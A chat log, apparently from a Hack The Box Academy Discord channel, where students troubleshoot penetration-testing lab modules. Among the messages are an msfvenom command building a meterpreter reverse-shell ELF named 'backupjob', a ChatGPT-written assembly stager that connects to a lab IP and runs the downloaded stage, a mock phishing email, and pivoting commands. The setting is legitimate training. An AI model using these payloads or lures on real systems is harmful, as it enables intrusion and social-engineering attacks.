#modules

1 messages · Page 393 of 1

fickle crystal
#

i tried getting the id_rsa i get permission issues

#

something aint right

#

i even used metasploit too

#

for smb_login module

normal dagger
#

@fickle crystal what command did you run?

fickle crystal
#

oh iy found it

#

wait it found it LOLLL

fathom pendant
#

ACS is a t2 module careful with spoiling things

fickle crystal
#

i left the vpn and vm on for so long yesterday thats why i wouldnt get it the connection was off

fathom pendant
#

i've had little-to-no issues with leaving the connection on overnight (i'm silly and forget sometimes)

fickle crystal
#

but yeah idk maybe its something else

fathom pendant
#

if you use kali, that's easy to do

fickle crystal
#

yeah kali is way better

#

i havent used parrot since i started this

fathom pendant
#

no, i meant kali has a bunch of bg services

#

lol

#

parrot is much lighter weight than kali

fathom pendant
#

¯_(ツ)_/¯

dark hedge
#

i had to switch to kali on my work laptop since parrot was marginally slower

waxen totem
#

Kali just hit diff

fickle crystal
fathom pendant
#

just bustin chops

#

whatever distro works for you

#

¯_(ツ)_/¯

#

some people use arch (btw)

dark hedge
#

arch vm would still probably run slower than kali

fickle crystal
#

arch looks hectic

waxen totem
dark hedge
#

i use pentoo

fickle crystal
#

guys i need another help

#

i still get the permission issues smh

novel matrix
#

&

tired olive
#

intro to bash scripting / flow control - loops / question 1

im getting a "deprecated key derivation used" error -- any ideas? im using the scripts decryption method as it was provided

#

can i post my script here or is that not allowed

fickle crystal
tired olive
#

boy so say its not allowed then

waxen totem
tired olive
#

bro waited until i posted it to tell me it wasnt allowed

tired olive
#

looked online and it seems like others are too

tired olive
#

hmmmmm

waxen totem
tired olive
#

all good i was joking

#

didnt know it was above 0

fathom pendant
#

it won't prevent the code from functioning

tired olive
#

but its not decrypting

fathom pendant
#

yes it is :) if you look at the whole script, it's decrypting

#

and the result of that decryption will be the flag

tired olive
#

i see that

#
*** WARNING : deprecated key derivation used.
Using -iter or -pbkdf2 would be better.
bad decrypt
40475DD7257F0000:error:1C800064:Provider routines:ossl_cipher_unpadblock:bad decrypt:../providers/implementations/ciphers/ciphercommon_block.c:107:
fathom pendant
#

Warning

#

that's not an ERROR

tired olive
#

i see that

fathom pendant
#

bad decrypt means that something is wrong (the salt in this case)

#

that's the actual error

tired olive
#

confused

#

says length of the hash is the salt, but that isnt working

#

what the balls

#

OH

waxen totem
#

Its a dynamic value

#

Gotta script it

tired olive
#

can someone explain why ${#var} gives a value with 1 less value than echo $var | wc -c

tired olive
#

whoever made this module keeps including newline characters in the values and its driving me bonkers

fathom pendant
severe sleet
#

I am stuck on the last question of the network fundamental module

#

It reads : Bypass the request filtering found in the target machine’s HTTP service, and submit the flag found in the response. The flag will be in the format :HTB{…}

The flag that I see reads (HTB{Redacted}) but the page is not reading it as correct

#

Any advise ?

fathom pendant
#

did you make sure no extra spaces/whitespace?

severe sleet
#

Yeah I have been trying for a while now

fathom pendant
#

and you're submitting as
HTB{...}

severe sleet
#

As HTB{REDACTED} as REDACTED as {REDACTED}

#

But nothing I am stuck here

fathom pendant
#

HTB{S..!}

severe sleet
#

Same it shows error incorrect answer

waxen totem
near night
#

Hi

waxen totem
#

c-a

#

Its how they repeatedly formatted it in the section

severe sleet
waxen totem
fathom pendant
fathom pendant
gaunt scroll
#

Oracle TNS module - hitting a roadblock for some reason.
Ran sudo ./odat.py all in order to know what it is possible
Found a couple SIDs, used the same cmd as given in the module, but can't seem to get sqlplus cmd to work -- what am I missing?

fathom pendant
fathom pendant
#

Well you gotta install sqlplus

#

Command not found == its not installed/in your path

waxen totem
gaunt scroll
fathom pendant
#

Well it's not in your PATH, so bash doesn't see it

gaunt scroll
fathom pendant
#

did you get any errors during that? ¯_(ツ)_/¯

gaunt scroll
fathom pendant
gaunt scroll
fathom pendant
#

As i said though I just did the install script line by line bc some things didn't go right

gaunt scroll
fathom pendant
tired olive
#

"Most people think whenever an IP Address changes, it is a proxy, and in most cases, it's probably best not to correct them as it is a common and harmless misconception. Correcting them could lead to a more extended conversation that trails into tabs vs. spaces, emacs vs. vim, or finding out they are a nano user." goofy ass module 😭 😭 😭

gaunt scroll
tired olive
#

vim 🔛 🔝

gaunt scroll
waxen totem
tired olive
#

buhhh

unique ether
#

😿

#

sadglas ohGod 🔫

normal plover
near night
#

when we set Payload in msfvenom or in msfconsole
What does actually mean ?
I am curios about what is exactly happening ?
Like in this command :
MiladZ92@htb[/htb]$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.14.18 -f elf -o backupjob LPORT=8080
what is the code behind -p linux/x64/meterpreter/reverse_tcp
or this :
msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp

waxen totem
unique ether
fathom pendant
unique ether
#

It is what you choose for a specific connection to work in ur case its meterpreter specially prepared for linux

unique ether
#

Yuh

fathom pendant
#

that's what the x64 part is

#

linux <-- OS
x64 <-- arch
meterpreter <-- shell catcher
reverse_tcp <-- shell type

#

(technically you can catch with netcat)

near night
#

wow
Thanks guys
but then when we run the ./backupjob in the ubuntu , and while listening to it from the host attack , and we got the meterpreter session which is really cool
I would like to understand what does really ./backupjob did , I mean like crack the steps
really curious about the steps that backupjob did

unique ether
#

Use teach me as if I am a 5 year old kid command to gpt with whatever question you have it explains really well that's what I do

fathom pendant
unique ether
#

Before u test out a payload get to know the target

fathom pendant
#

when you generated the payload you specified it to be an ELF file (google it)

#

also be mindful that the module is placing you in the part of both the attacker and the victim

#

which is why it seems redundant to have you run the revshell on a target you can ssh to

near night
fathom pendant
#

place yourself in the shoes of the unwitting user that got phished and Social Engineered into running the script

unique ether
fathom pendant
#

from definitelyadmin@legit.com
BACKUP YOUR FILES [URGENT!]
This is urgent: we are changing our backup policies you need to download this file [link to your backup script] and run it to make sure that the backup completes thank you

#

:p

#

Humans are the weakest link in any cybersecurity infra

near night
fathom pendant
#

i also may or may not be working on a research paper for phishing for my Associates degree kek so phishing is fresh on the brain

waxen totem
#

FML just spent an hour on the IMAP section of the footprinting module only to realize that the creds are given kek

fathom pendant
#

the classic tunnel vision trap

waxen totem
#

also had to boot up the VM so it took a while and my brain went: not important

near night
#

another question
Do professional CPTS work a lot with Assembly language?

waxen totem
# near night another question Do professional CPTS work a lot with Assembly language?

In a word: No

In reality: It depends, although most penetration testers are slightly familiar with the assembly family of languages there are some who have mastered it in the event they have to reverse engineer quickly and efficiently, otherwise it is sufficient to learn C since most reverse engineering programs have a psuedocode algorithm that turns ASM into C

#

~~speaking from LACK of experience, take with a grain of salt 😅 ~~

tall saffron
#

hi all o/

near night
#

so like do you do something like this ?

this is from chatGPT , explaining what does linux/x64/meterpreter/reverse_tcp stager paylod do
Approximate Assembly Code
While I can’t give you the exact byte-for-byte code in backupjob (since it’s dynamically generated and depends on your specific LHOST and LPORT), I can provide an approximate representation of what the assembly might look like for a linux/x64/meterpreter/reverse_tcp stager. This is based on reverse-engineering similar payloads and Metasploit’s open-source codebase.
; Linux/x64 Meterpreter Reverse TCP Stager (simplified)

section .text
global _start

_start:
; 1. Create a socket (socket(AF_INET, SOCK_STREAM, 0))
xor rax, rax ; Clear rax
mov al, 41 ; sys_socket (41)
mov rdi, 2 ; AF_INET (IPv4)
mov rsi, 1 ; SOCK_STREAM (TCP)
xor rdx, rdx ; Protocol (0)
syscall ; Call kernel
mov rbx, rax ; Save socket fd in rbx

; 2. Set up sockaddr_in structure on stack
push 0x5010           ; Port 8080 (0x1F90 in hex, big-endian)
push 0x540f0a0a       ; IP 10.10.15.84 (0x0a0a0f54 in hex)
push word 0x2         ; AF_INET (2)
mov rsi, rsp          ; Pointer to sockaddr_in
mov rdx, 16           ; Length of sockaddr_in

; 3. Connect to attacker (connect(sockfd, sockaddr, addrlen))
mov rax, 42           ; sys_connect (42)
mov rdi, rbx          ; Socket fd
syscall               ; Call connect

; 4. Receive the stage (read(sockfd, buffer, size))
xor rax, rax          ; sys_read (0)
mov rdi, rbx          ; Socket fd
sub rsp, 0x1000       ; Allocate buffer on stack (arbitrary size)
mov rsi, rsp          ; Buffer pointer
mov rdx, 0x1000       ; Bytes to read (adjust as needed)
syscall               ; Read the stage

; 5. Jump to the received code
jmp rsi               ; Execute the downloaded stage in memory
#

Explanation:
System Calls: Linux uses syscall instructions to interact with the kernel. The numbers (e.g., 41 for socket, 42 for connect) are specific to x86-64 Linux.
IP and Port: The values 10.10.15.84 and 8080 are hardcoded into the binary as hex (0x0a0a0f54 and 0x1f90). These are pushed onto the stack to form the sockaddr_in structure.
Reverse Connection: The connect call initiates the outbound TCP connection to your attacking machine.
Stage Loading: The read syscall fetches the Meterpreter stage, and jmp rsi transfers control to it.

#

???

#

this is from chatGPT , explaining what does linux/x64/meterpreter/reverse_tcp stager paylod do
Approximate Assembly Code
While I can’t give you the exact byte-for-byte code in backupjob (since it’s dynamically generated and depends on your specific LHOST and LPORT), I can provide an approximate representation of what the assembly might look like for a linux/x64/meterpreter/reverse_tcp stager. This is based on reverse-engineering similar payloads and Metasploit’s open-source codebase.

#

trying to learn
But I don't want to spend time on something that it is not really neccessary at the moment maybe

fathom pendant
#

i'll tell you that rn

lusty thicket
#

you cant also execute on the stack

#

by default

near night
#

yea , my curiosity alaways
I'll leave it then

#

thanks a lot 🙏🏻

fathom pendant
#

breaking it into asm is heavy work

near night
#

yea

fathom pendant
#

you're better off disecting it with gdb

#

instead of having GPT tell you (potentially) nonsense

tall saffron
#

i have a problem with the web cache poisoning in Abusing HTTP Misconfigurations module
Before all i made all the websecurity module on this subject, i know how to exploit it, i modified my host file etc i poisoned/cached the response, i even did an intruder with null payloads to be sure it is always poisoned (i can send screenshots) but the problem is the vhost interactsh.local because when i use the form as a user to test it, it doesnt work as expected:

fathom pendant
near night
tall saffron
#

it doesnt change anything on the problem, the "bot" doesnt post the login

#

i even tried the xss

fathom pendant
#

but not sure what exact issue this may be

#

did you try hard refreshing the page? ctrl+shift+r

tall saffron
#

the problem isnt on burpsuite, the problem is the bot which doesnt post his id

#

and the bot doesnt go through my browser

#

with burp

#

the page is poisoned

fathom pendant
#

you've been told before @sinful narwhal to not spoil module info above tier 0

sinful narwhal
#

I just asked a question

fathom pendant
#

your screenshot contained username info

sinful narwhal
#

it was my first msg

fathom pendant
#

of stuff that would be spoiler

fathom pendant
#

@tall saffron same to you too friend, don't spoil module info above t0

tall saffron
#

lol it is the same screenshot as the course but ok

fathom pendant
#

it's content from the module; that module is above tier 0

waxen totem
fathom pendant
#

so it's still a spoiler

tall saffron
#

oh ok spoiler of course content my bad

#

i was thinking about solution

#

xD

fathom pendant
#

taps sign

tall saffron
#

any help on this because it is clearly a problem in the lab

#

but since it is only responding to vhost of IP

#

and since the help chatbox send us here for official support of modules problems

sinful narwhal
fathom pendant
fathom pendant
acoustic owl
tall saffron
#

nope it is official since the chatbox send us officially

fathom pendant
#

nope

#

that's not how that works

tall saffron
#

of course it did

fathom pendant
#

this is the official HTB server, yes, but doesn't mean that this is an official support center

tall saffron
fathom pendant
#

the rule in the channel description aligns with the HTB ToS

tall saffron
#

but anyway

acoustic owl
fathom pendant
#

:) also they're axing the forum so that message is likely to change

tall saffron
#

web cache poisoning in Abusing HTTP Misconfigurations module

tall saffron
#

each time here you are to discuss things like that without any help for people, boring

fathom pendant
#

again it explains that this channel is on the official discord server but that doesn't mean you're guaranteed answers nor are you allowed to spoil module content above tier 0

acoustic owl
fathom pendant
#

which is in-line with the ToS and Guidelines

#

modules above tier 0 are "paid" modules; therefore the screenshots and such behind them are paywalled

sinful narwhal
fathom pendant
#

clock_skew_too_great error means that your time and the server time don't line up

tall saffron
#

On my phone rn but will send the lab vhost

#

There is interact and xxx.hostheaders.htb iirc

acoustic owl
#

you are here, right?

tall saffron
#

Nope

#

The web cache poisoning in host headers attack

acoustic owl
#

ah, i see

#

let me check my notes

tall saffron
#

I know 100% sure it is a problem with the lab

#

I can send you all the screenshots

#

There isnt more simple

#

You poison the cache for the login form

#

Or a XSS but on a login form for stealing cookie isnt Logic but i tried too

tall saffron
#

And like i said i even tried when i did the lab today to use intruder with null payload to have the cache poisoned for ever xD

acoustic owl
# tall saffron Ok ty

Yes, please send me a DM telling me exactly what you have done.
Then I can see how I can nudge you in the right direction without spoiling anything here

tall saffron
#

Im on the road but will do it asap. No hurry i just feel the lab was broken and since we dont have creds, Can you confirm all is in the login page admin.blabla?

acoustic owl
#

Yes, it's about the login page

languid vortex
#

On the Active Directory Enumeration & Attacks -> Privileged Access page, they show a BloodHound "CanRDP" edge between "Domain Users" and MS01. I have run SharpHound.exe -c All -d inlanefreight.com on MS01 for the third time now in three separate lab instances and I can't reproduce this example, or the "CanPSRemote" edge with the custom cypher query.

#

I've seen other people asking about the same issue, but I've never seen an answer. Any ideas?

#

Whether I use the built-in query or the custom cypher query, BH just says "No results match your data"

spiral scarab
#

sorry for the ping but I'm encountering the same issue, what was the issue in the end?

fathom pendant
#

use sudo

waxen totem
#

or use ligolo 😎

spiral scarab
spiral scarab
waxen totem
#

much easier than setting up proxychains

fathom pendant
#

^

fathom pendant
#

don't read the module or questions just spawn target; max life and boot2DA

#

you'll feel much better about yourself then

#

and be able to better pinpoint your weaknesses to brush up on

spiral scarab
#

That was what I was doing until I couldn't get anything with dynamic port forwarding and had to check the section in the module

#

But even then they didn't use sudo so I was confused

#

I removed the proxychains package, tried different versions but still couldn't make it works, did not think of using sudo 😅

#

But once again, thanks! :p

fathom pendant
#

max spawn time

#

lifetime

#

¯_(ツ)_/¯

#

using pwnbox makes it trickier because you can only extend pwnbox life under a certain threshold

waxen totem
#

Yeah probably best to use an attacking machine with the vpn

thin citrus
#

Can someone DM me for helping NoSQL SA II?

acoustic owl
unique ether
#

Tbh

fervent iris
#

in TCPDump, according to one of the labs,
this tcpdump result is supposed to be a full TCP 3 way handshake:

18:34:01.237834 IP 172.16.146.2.43804 > 95.216.26.30.80: Flags [S], seq 749874084, win 64240, options [mss 1460,sackOK,TS val 3101551032 ecr 0,nop,wscale 7], length 0
18:34:01.389479 IP 95.216.26.30.80 > 172.16.146.2.43804: Flags [S.], seq 2667566931, ack 749874085, win 65160, options [mss 1460,sackOK,TS val 1169094229 ecr 3101551032,nop,wscale 7], length 0
18:34:01.389497 IP 172.16.146.2.43804 > 95.216.26.30.80: Flags [R], seq 749874085, win 0, length 0

but the client packet has the flag R, which means "reset", then how is this supposed to be a full 3 way handshake?
from what i know, it must be an ACK flag in the end to be counted as a full 3 way handshake.

primal eagle
#

im trying to get my vpn connection to work. But i can't seem to reach the host from the Session Security module

#
rom 10.10.14.1 icmp_seq=31 Destination Host Unreachable                                            │
From 10.10.14.1 icmp_seq=32 Destination Host Unreachable                                            │
From 10.10.14.1 icmp_seq=33 Destination Host Unreachable                                            │
From 10.10.14.1 icmp_seq=34 Destination Host Unreachable                                            │
From 10.10.14.1 icmp_seq=35 Destination Host Unreachable                                            │
From 10.10.14.1 icmp_seq=36 Destination Host Unreachable                                            │
From 10.10.14.1 icmp_seq=37 Destination Host Unreachable                                            │
From 10.10.14.1 icmp_seq=38 Destination Host Unreachable                                            │
From 10.10.14.1 icmp_seq=39 Destination Host Unreachable                                            │
From 10.10.14.1 icmp_seq=40 Destination Host Unreachable
#

machine started, vpn is connected

#

ill try and terminate and download new vpn config etc.

#

got it working

willow furnace
#

Does anyone have an idea why this one doesn't work?
I checked twice the ip of DC, the password of user and domain
Proxychains works normal with evil-winrm so thats not the issue, i even change the timeout time but still im stuck

#

It's "AD Enumeration & Attacks - Skills Assessment Part I"

waxen totem
waxen totem
willow furnace
ocean night
#

Please remove that link @sweet sparrow

willow furnace
waxen totem
willow furnace
ocean night
#

Removed it for you @sweet sparrow - don't share potential spoilers like that please.

lusty thicket
#

that's not a full handshake

waxen totem
surreal chasm
#

In the Pivoting, Tunneling, and Port Forwarding I want to model the socat bind&reverse shell
But there aren't any creds to the windows machine
is this inteded? do they want us to find the password to the windows machine? or it'll be later in the module that i can test this?

fervent iris
# lusty thicket it's an aborted attempt at a handshake

i know, but the lab says it is a full handshake, this is the stated text:

What is the timestamp of the first established conversation in the pcap file?
May 11, 2021 11:34:01.237834000 EDT

the "first established" means a successful full handshake, isn't?

lusty thicket
willow furnace
fervent iris
lusty thicket
#

a rst means the connection was aborted a full handshake means the connection is established

those two things are mutually exclusive, you cannot have both at the same time

waxen totem
storm elk
#

@green shuttle please have a look at the #rules and especially rule number 8

fervent iris
lusty thicket
#

yeah

waxen totem
lusty thicket
fervent iris
fervent iris
willow furnace
#

i mean secretsdump still gets time out

waxen totem
#

Probably some port forwarding needed for that, not sure what ports secretsdump uses though 👀

waxen totem
#

wait no I might be stupid

#

never done the module so 5699zeroshrug

acoustic owl
#

@thin parrot I'm deleting your question here because it contains spoilers. But please send me a DM. I'll be happy to answer your questions then.

polar widget
#

you figured it out?

sweet sparrow
#

Anyone can dm chat with me about Advanced XSS and CSRF Exploitation Skills Assessment? I have a problem with the last step. I'm not getting any calls from the API service

daring tundra
#

Hi guys, Im struggling to enumerate shares... with SMB.. The account does not have a password

daring tundra
#

netexec smb <IP> -u Guest -p '' --shares

#

nxc smb: error: argument -p/--password: expected at least one argument

daring tundra
#

but... its Using CME Module..

waxen totem
#

oh...

daring tundra
#

Unless you mean Im not supposed to be using CME / Netexec lol

waxen totem
#

try providing a blank user

lusty thicket
daring tundra
#

im 95% through CPTS module btw.. Im taking USing CME Module for the extra knowledge

tranquil axle
daring tundra
#

Thanks for the replies here.

@bold wagon hi

tired atlas
#

Yeah it took me a day to do it. None of the module parts ever took me more than a couple of hours, that DNS one still haunts my dreams

#

I remember i was crying in PayloadBunny's dms at 3am at night

hexed latch
#

Anyone wants to work with me

tired atlas
#

I think it comes too early in the course. If it was like the 4th module I would've had more understanding to complete it without problems

daring tundra
hexed latch
daring tundra
hexed latch
#

So you just want to gather information of what

#

?

daring tundra
hexed latch
#

I can help you afterwards if you want for free just dm me

daring tundra
#

😮 That's kind of you. Sure

hexed latch
# daring tundra 😮 That's kind of you. Sure

So you basically want to get write shares cause they allow us to inject payloads and also it can be counted as a vulnerability if you can do this without and user interaction and priveleges

daring tundra
hexed latch
#

/rank

daring tundra
daring tundra
hexed latch
daring tundra
#

Don't mind having a study buddy either

hexed latch
#

So may be it might be a misconfiguration in modern windows cause they donnot allow null session anyomore

daring tundra
#

Ohhhh, alright.. yea you might have a point there

hexed latch
#

crackmapexec smb <target-IP>

daring tundra
#

You sound like a pro... haha

hexed latch
#

Did you use this

daring tundra
#

no, i use netexec.. i dont have CME on my attack host

hexed latch
#

Is you host a module of hackmybox training or real another device

modern meadow
#

" What type of network cable is used to transmit data over long distances with minimal signal loss? " , I answered "fiber optic" but it didn't work

zealous rune
#

Hi I'm having real trouble getting the solution for the second question in the Log Poisoning section of the Local File inclusion module to work.

I have checked the solution and had someone else check it and it does work for the other person. However it doesn't work for me. I'm going to do it in the pwn box, but I'm concnerned aabout my setup. Is there anyone around I can chat to about this?

modern meadow
lusty thicket
modern meadow
harsh sundial
#

hey can i ask questions here about the academy modules ?

hollow knoll
#

network foundation module

harsh sundial
# acoustic owl yes

oh hy so i have been doing the nmap module and i think i got the flag but it says it is not the right one ?

hollow knoll
#

for some questions its really hard to answer coz of not typing how its written in module

#

is my answer write?

#

its not working

acoustic owl
#

@hollow knoll please don't share any answers

hollow knoll
#

my bad

acoustic owl
hollow knoll
harsh sundial
#

sory i am very new to this and it went really okay and well but now i am stuck and i can't find anything else atm

acoustic owl
hollow knoll
acoustic owl
harsh sundial
#

right here or in a dm ?

acoustic owl
harsh sundial
hollow knoll
#

@west rampart

#

network foundations module

#

some questions in this module dont accept answer in short form for example:- peer-to-peer for P2P

lusty thicket
#

then maybe you've got the wrong answer

west rampart
#

that's expected

hollow knoll
hollow knoll
west rampart
#

no

#

😄

hollow knoll
#

or can you tell me my answer is wrong

west rampart
#

if the answer doesn't get accepted, something is wrong

lusty thicket
#

the question asked for an architecture buddy

#

format: two words one of which is hyphenated

hollow knoll
#

i think i forgot everything from that section

#

can you tell me for this pls

lusty thicket
#

start from the dumbest option, then work your way up

hollow knoll
#

i will read the whole section again

#

adhd

#

💔💔💔💔 this so tough

near rock
hollow knoll
lusty thicket
#

learning something new is hard?

hollow knoll
#

and then i have to reread same line for 3-4 times coz i was thinking about somethign else

near rock
hollow knoll
hollow knoll
near rock
#

From what I’ve learned, unless you’re doing it on paper, obsidian is a good note application where you can organize your notes.

hollow knoll
near rock
#

Although for me, I have both a paper set and a digital set in case I lose one of them.

hollow knoll
#

i keep my progress record on paper

near rock
hollow knoll
#

simple calender type

lusty thicket
hollow knoll
lusty thicket
#

that was the answer format given

hollow knoll
near rock
lusty thicket
near rock
#

I’ll admit that I found writing down everything in the modules word from word to be very time consuming.

hollow knoll
near rock
#

Same. But from the modules I’ve done, I’ve usually skipped over the parts that discusses history or stuff that I don’t believe would help me learn how to do things.

hollow knoll
#

@near rock thanks for sharing, that ai part i never thought about will use it
good luck and thanks again

#

i need to learn how to write

#

in conversation too*

foggy jasper
#

👋 Hello

hollow knoll
#

@lusty thicket thanks blud

near rock
#

No problem. I’d say that you could try it out for now and see how things turn out.

near rock
#

I recently finished Linux fundamentals, and I can’t say I remember every single thing that was discussed in it, but I did get a better grasp over things and intend to keep reviewing it.

hollow knoll
#

i did it half way through i use cheat sheet if i forget command and now i dont have look at cheat sheet for some commands learned it while using em

#

thats how im doing the modules i dont sit and memorize of the stuff

near rock
#

Well the stuff on the cheat sheet is displayed in the modules. The cheat sheet simply has the important commands in one place.

hollow knoll
#

yeah

near rock
#

I’ll admit that I do need to learn more about the things that go with the commands (such as things like -L, -sV, and other types).

hollow knoll
#

yeah that filter stuff

shut vapor
#

In Window Privilege Escalation but my question is rather general to User Rights. Why are some rights "disabled" where they apply to an account but can be enabled by the user themselves? E.g. SeShutdownPrivilege

PS:112 > whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                          State
============================= ==================================== ========
SeShutdownPrivilege           Shut down the system                 Disabled
SeChangeNotifyPrivilege       Bypass traverse checking             Enabled
SeUndockPrivilege             Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set       Disabled

Might guess enabling privileges trips an Event Log entry, but so too should whatever action is taken with the privilege. Googling around, I found that it might have to do with inheritance? Processes spawned by the user only inherit //enabled// processes?

devout temple
#

Hello guys,
I am working on the last part of Attacking WPA/WPA2 Wi-Fi Networks - Skills Assessment>

I patched the hostapd-wpe file, but still getting the error message.

#

Anyone had the same problem?

viral badger
#

can i dm someone about HTTP Attacks - Skills Assessment? i did the TE.CL but can't put the CRLF injection to work, i don't receive any email 😦

azure axle
#

Hi anybody is recently working on checker.htb machine. i am bit confused right now

azure axle
#

hi

vestal minnow
#

hello guys

dapper moth
#

One of them will work

wise galleon
#

Hi

cosmic vine
#

i'm starting to get seriously frustrated with how often i'm having to restart targets in order to make them work properly. how am i meant to know i'm doing things right when i'm getting the wrong response 80% of the time?

normal dagger
#

@viral badger http attacks had been giving me a really hard time as well

dapper moth
viral badger
#

I feel ya i'm stuck for 7 days lol

dapper moth
#

If you got the TE.CL the SMTP header injection is easy

fathom pendant
#

@viral badger module is above t0

#

:(

viral badger
#

🥹

dapper moth
#

@viral badger craft a valid POST to that endpoint then just copy in your “nested” HTTP request

fathom pendant
#

if b5null is willing take to dms to avoid spoiling for others

dapper moth
#

Sure

viral badger
dapper moth
#

Sure

viral badger
#

thanks prayge @fathom pendant @dapper moth

dapper moth
#

Glad to have helped! fingerguns

gleaming dove
#

can anyone help me to solve the CTF Escape two . I found a krbt hash of the three uses but i can’t crack the hash . So can you help me . Iam a new in this discord channel

fathom pendant
surreal chasm
#

When trying to install ptunnel it seems like the sudo ./autogen.sh fails
I cannot see the ptunnel-ng binary
anyone tuckled the same problem?
edit: its under ./src/ptunnel-ng 🤦‍♂️

fathom pendant
dapper moth
tired atlas
#

Oh so not cpts

supple flicker
#

hello

near night
#

Hello again everyone
I am studying this now : https://academy.hackthebox.com/module/158/section/1434 (Web Server Pivoting with Rpivot)
It is really straight forward
But I stuck in the last step !
installed python2.7
so I did cloned the rpivot
cd rpivot
open terminal and run : python2.7 server.py --proxy-port 9050 --server-port 9999 --server-ip 0.0.0.0
then another terminal
copy/paste the entire directory to the pivot host scp -r rpivot ubuntu@<IpaddressOfTarget>:/home/ubuntu/
ssh to pivot and run the client : python2.7 client.py --server-ip 10.10.14.18 --server-port 9999

I got the connection
I made sure that in the file /etc/proxychains.conf has this line : socks4 127.0.0.1 9050
and then I run proxychains in my machine :
and getting this :

┌─[eu-academy-6]─[10.10.15.84]─[htb-ac-745983@htb-cpqp0zfjj5]─[~]
└──╼ [★]$ proxychains firefox-esr 172.16.5.135:80
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
/usr/lib/firefox-esr/browser/defaults/preferences/00parrot.js:289: prefs parse error: unknown keyword
/usr/lib/firefox-esr/browser/defaults/preferences/00parrot.js:308: prefs parse error: expected ';' after ')'
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] DLL init: proxychains-ng 4.16
<--socket error or timeout!
[proxychains] Strict chain ... 127.0.0.1:9050 ... addons.mozilla.org:443 <--socket error or timeout!
[proxychains] Strict chain ... 127.0.0.1:9050 ... firefox.settings.services.mozilla.com:443 <--socket error or timeout!
[proxychains] Strict chain ... 127.0.0.1:9050 ... firefox.settings.services.mozilla.com:443 <--socket error or timeout!
[proxychains] Strict chain ... 127.0.0.1:

#

any idea about what I missed here ?!

#

**Update **
I got this now after waiting around 15 min
[proxychains] Strict chain ... 127.0.0.1:9050 ... cdn.statically.io:443 <--socket error or timeout!
[proxychains] Strict chain ... 127.0.0.1:9050 ... push.services.mozilla.com:443 <--socket error or timeout!
[proxychains] Strict chain ... 127.0.0.1:9050 ... 172.16.5.135:80 ... OK
[proxychains] Strict chain ... 127.0.0.1:9050 ... addons.mozilla.org:443 <--socket error or timeout!
[proxychains] Strict chain ... 127.0.0.1:9050 ... push.services.mozilla.com:443 <--socket error or timeout!
[proxychains] Strict chain ... 127.0.0.1:9050 ... push.services.mozilla.com:443 <--socket error or timeout!
[proxychains] Strict chain ... 127.0.0.1:9050 ... push.services.mozilla.com:443 <--socket error or timeout!
[proxychains] Strict chain ... 127.0.0.1:9050 ... firefox.settings.services.mozilla.com:443 <--socket error or timeout!
[proxychains] Strict chain ... 127.0.0.1:9050 ... firefox.settings.services.mozilla.com:443 <--socket error or timeout!
[proxychains] Strict chain ... 127.0.0.1:9050 ... firefox.settings.services.mozilla.com:443 <--socket error or timeout!
[proxychains] Strict chain ... 127.0.0.1:9050 ... firefox.settings.services.mozilla.com:443 <--socket error or timeout!
[proxychains] Strict chain ... 127.0.0.1:9050 ... firefox.settings.services.mozilla.com:443 <--socket error or timeout!
[proxychains] Strict chain ... 127.0.0.1:9050 ... firefox.settings.services.mozilla.com:443

runic depot
#

Working through the Network Foundations module and a little confused on one of the last questions.

It wants me to use netcat to connect to the target on port 21 passively, then connect again to the data channel and retrieve the .txt file with the flag.

No issue connecting to the control channel on 21 but when I connect to the data channel it tells me "Connection refused" If anyone has any advice lemme know! I have the right port # as far as I can tell

near night
#

oooh it works now !!!
[proxychains] Strict chain ... 127.0.0.1:9050 ... firefox.settings.services.mozilla.com:443 <--socket error or timeout!
[proxychains] Strict chain ... 127.0.0.1:9050 ... firefox.settings.services.mozilla.com:443 <--socket error or timeout!
[proxychains] Strict chain ... 127.0.0.1:9050 ... 172.16.5.135:80 ... OK
[proxychains] Strict chain ... 127.0.0.1:9050 ... 172.16.5.135:80 ... OK

[proxychains] Strict chain ... 127.0.0.1:9050 ... push.services.mozilla.com:443 <--socket error or timeout!
[proxychains] Strict chain ... 127.0.0.1:9050 ... cdn.statically.io:443

and the page appeared in firefox
and I find the Flag

fathom pendant
#

@supple flicker this isn't a CTF recruitment center read #rules

languid vortex
#

On the Active Directory Enumeration & Attacks -> Privileged Access page, they show a BloodHound "CanRDP" edge between "Domain Users" and MS01. I have run SharpHound.exe -c All -d inlanefreight.com on MS01 for the third time now in three separate lab instances and I can't reproduce this example, or the "CanPSRemote" edge with the custom cypher query.

Whether I use the built-in query or the custom cypher query, BH just says "No results match your data"

I've searched chat history for the same issue, but no answers. Anyone have any ideas?

languid vortex
#

I have. 3 times in 3 separate lab instances.

#

Over the span of a week.

fathom pendant
#

reach out to support then if you believe it's bugged

languid vortex
#

I'll do that. Just checking here first. Thank you.

unique ether
#

Today is the day

rugged atlas
#

Need module for python

#

Python for hacking.

flint palm
#

Guys is anybody here who has passed Windows Privilege Escalation Module?

fathom pendant
#

And there's an intro to python module

rugged atlas
#

I mean anything for python in HTB Academy module.

#

Sorry bro.

fathom pendant
#

But beyond that there's no academy module focused on specifically writing hacking tools in python

rugged atlas
#

Thanks 👍

quasi wave
#

If you know python

#

If your good at all of that you’ll be fine

#

Tbh

rugged atlas
#

Thanks bro, i just begin from zero.

quasi wave
#

Then learn python basics for free

rugged atlas
#

Thank you 💯

quasi wave
#

I did a crappy github course but you can also youtube it

#

There’s plenty of entry level python courses on youtube

rugged atlas
#

I subscribed htb academy for 1 year.

#

I borrow money from my friend!!

rugged atlas
#

I'll do my best, thanks.

quasi wave
#

Do HTB Academy to learn to hack

#

And get the certs. Use HTB Academy to learn the basics too

#

I recommend starting with infosec foundations.

rugged atlas
#

Thanks bro.

ancient niche
#

Good Afternoon guys someone can help me with this please?

fathom pendant
quasi wave
#

Ya then it can go here

#

I guess they are starting to implement Python in modules then

#

Bit by bit

fathom pendant
#

The error states model_joblib isn't defined, is it defined in "spam detection_model.joblib"?

upbeat pike
#

